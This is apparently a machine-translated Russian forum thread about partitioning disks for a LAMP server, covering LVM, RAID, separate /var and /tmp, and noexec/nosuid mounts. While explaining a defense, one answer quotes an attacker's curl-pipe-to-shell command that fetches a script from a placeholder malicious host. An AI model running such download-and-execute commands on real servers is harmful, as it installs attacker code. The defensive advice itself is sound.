Мне нужны предложения о том, что было бы наилучшим подходом к разметке разделов для LAMP-сервера, то есть LINUX + APACHE + PHP + MYSQL.
Если Остальное не важно * поет вместе с Metallica *, вы должны хотя бы позаботиться о том, чтобы у вас было отдельное монтирование для загрузки / временных файлов PHP и для вашего корневого веб-сайта, смонтированного с помощью nosuid, noexec флаги. Это останавливает около 99% атак сценаристов.
Зачем?
Потому что практически все они, похоже, используют такой шаблон, как
1) Найдите слабое место в каком-нибудь PHP-скрипте, например, передайте произвольный код через какой-либо параметр URL.
2.1) Загрузите файл, содержащий код C или сценарий оболочки, из какой-нибудь красивой веб-формы, которая есть на вашем сайте.
или
2.2) Заставьте ваш веб-сервер загрузить и выполнить какой-нибудь неприятный код через параметры URL, такие как `system (" curl http://icanhazyourcheezburger.com/ipwnj00.sh | sh ") или около того. Некоторые из них предписывают вашему серверу сначала получить исходный код C и скомпилировать его с помощью gcc, поэтому отключение gcc от пользователя Apache также является хорошей идеей.
3) Посмотрите, как у вас на сервере установлен хороший бэкдор.
Итак, как же noexec, nosuid помочь в этом случае? Никакой код не будет выполняться вообще. Да, да, это МОЖНО переопределить, но становится все труднее, и в любом случае безопасность состоит из слоев, это noexec, nosuid вещь лишь одна из них.
Я предлагаю использовать макет вашей ОС по умолчанию, если у вас нет особых соображений, например как большие объемы данных, очень высокое использование, потенциально большой рост.
Вы всегда можете расширить его позже ... например, у нас часто бывает: / tmp / boot / Если mysql зависает из-за ввода-вывода диска, мы можем добавить еще один диск или смонтировать SAN в / var / lib / mysql
Если ваш корень документа / var / www, вы всегда можете подключить больше дисковых ресурсов.
Некоторые будут рекламировать преимущества в производительности от использования более мелкозернистой системы, но я часто нахожу, что претензии не соответствуют действительности в реальных приложениях или оказывают незначительное влияние на производительность, поскольку система не ограничена дисковым вводом-выводом.
Обычно я делаю следующее (используя Debian):
Я все помещаю в LVM (это работает с Grub2).
В частности, я не заполняю всю VG, так как это дает мне больше возможностей для игры по мере изменения требований. А наращивание файловых систем можно производить онлайн с помощью LVM.
Причина, по которой некоторые серверные администраторы как сумасшедшие управляют системами разделов, заключается в том, что если кто-то атакует сервер атакой загрузки файла (например, в PHP до некоторой версии 5.2.X была большая уязвимость атаки загрузки) или атакой файла журнала, система не выполняет не заканчивается файловое пространство и не происходит сбой при заполнении / var / log или / tmp. Это больше не является большой проблемой для жестких дисков такого размера, как они есть, но есть и меньший прирост производительности разделов.
Я где-то читал, что современные диски лучше всего работают около середины и конца диска, но запустите свои собственные тесты, поскольку оборудование всегда разное. Если что-то вроде swap или / tmp, расположенного в лучшем месте для производительности, может дать вам стоящий прирост, кто знает. Опять же, вы всегда можете добавить больше дисков или SAN для решения проблемы, как упоминали другие.
Видеть http://novosial.org/kickstart/#s3
Он предполагает, как минимум, наличие отдельной загрузки, подкачки и смешанного программного обеспечения операционной системы и пользовательских разделов, поскольку создание нескольких небольших разделов неэффективно по пространству и времени. Однако для критических серверов изоляция ненадежных пользователей от критических областей файловой системы. Сюда входят домашние каталоги пользователей и временные каталоги. Он также предлагает монтировать пользовательские области с nosuid или другими параметрами, чтобы предотвратить ненадежное выполнение кода.
Это зависит от вашего уровня знаний, от загрузки сервера, от бюджета. Это так, если вы новичок и серверу не нужно отвечать на действительно много запросов, тогда эту работу может выполнить один раздел, может быть, два, один для / var, потому что файлы журнала могут быстро заполнить файловую систему и если он корневой, сервер может перестать работать.
Если сервер должен поддерживать большую нагрузку, то было бы разумно сделать больше разделов, потому что маленькие разделы имеют меньшее время доступа, чем большие, если на одном диске не так много одновременного доступа к разным разделам. Если у вас больше бюджета (также, если сегодня диски довольно дешевые), было бы неплохо сделать RAID, по крайней мере 1 или лучше 10 (есть надежность, а также прирост производительности), но в первом случае вы должны использовать как минимум 2 диска, а на втором как минимум 4. Затем вы будете использовать файловую систему, размер которой можно изменять, и LVM, чтобы получить ту же цель (изменение размера раздела и файловой системы). В таком случае у вас могут быть /, / boot, / var, / var / log, / home, / tmp, / usr и, возможно, / usr / local, / opt. Я читал, что раздел подкачки в недавнем ядре не имеет худших характеристик, чем файл подкачки, поэтому у вас может быть раздел подкачки, но тоже нет.
Может быть ;-)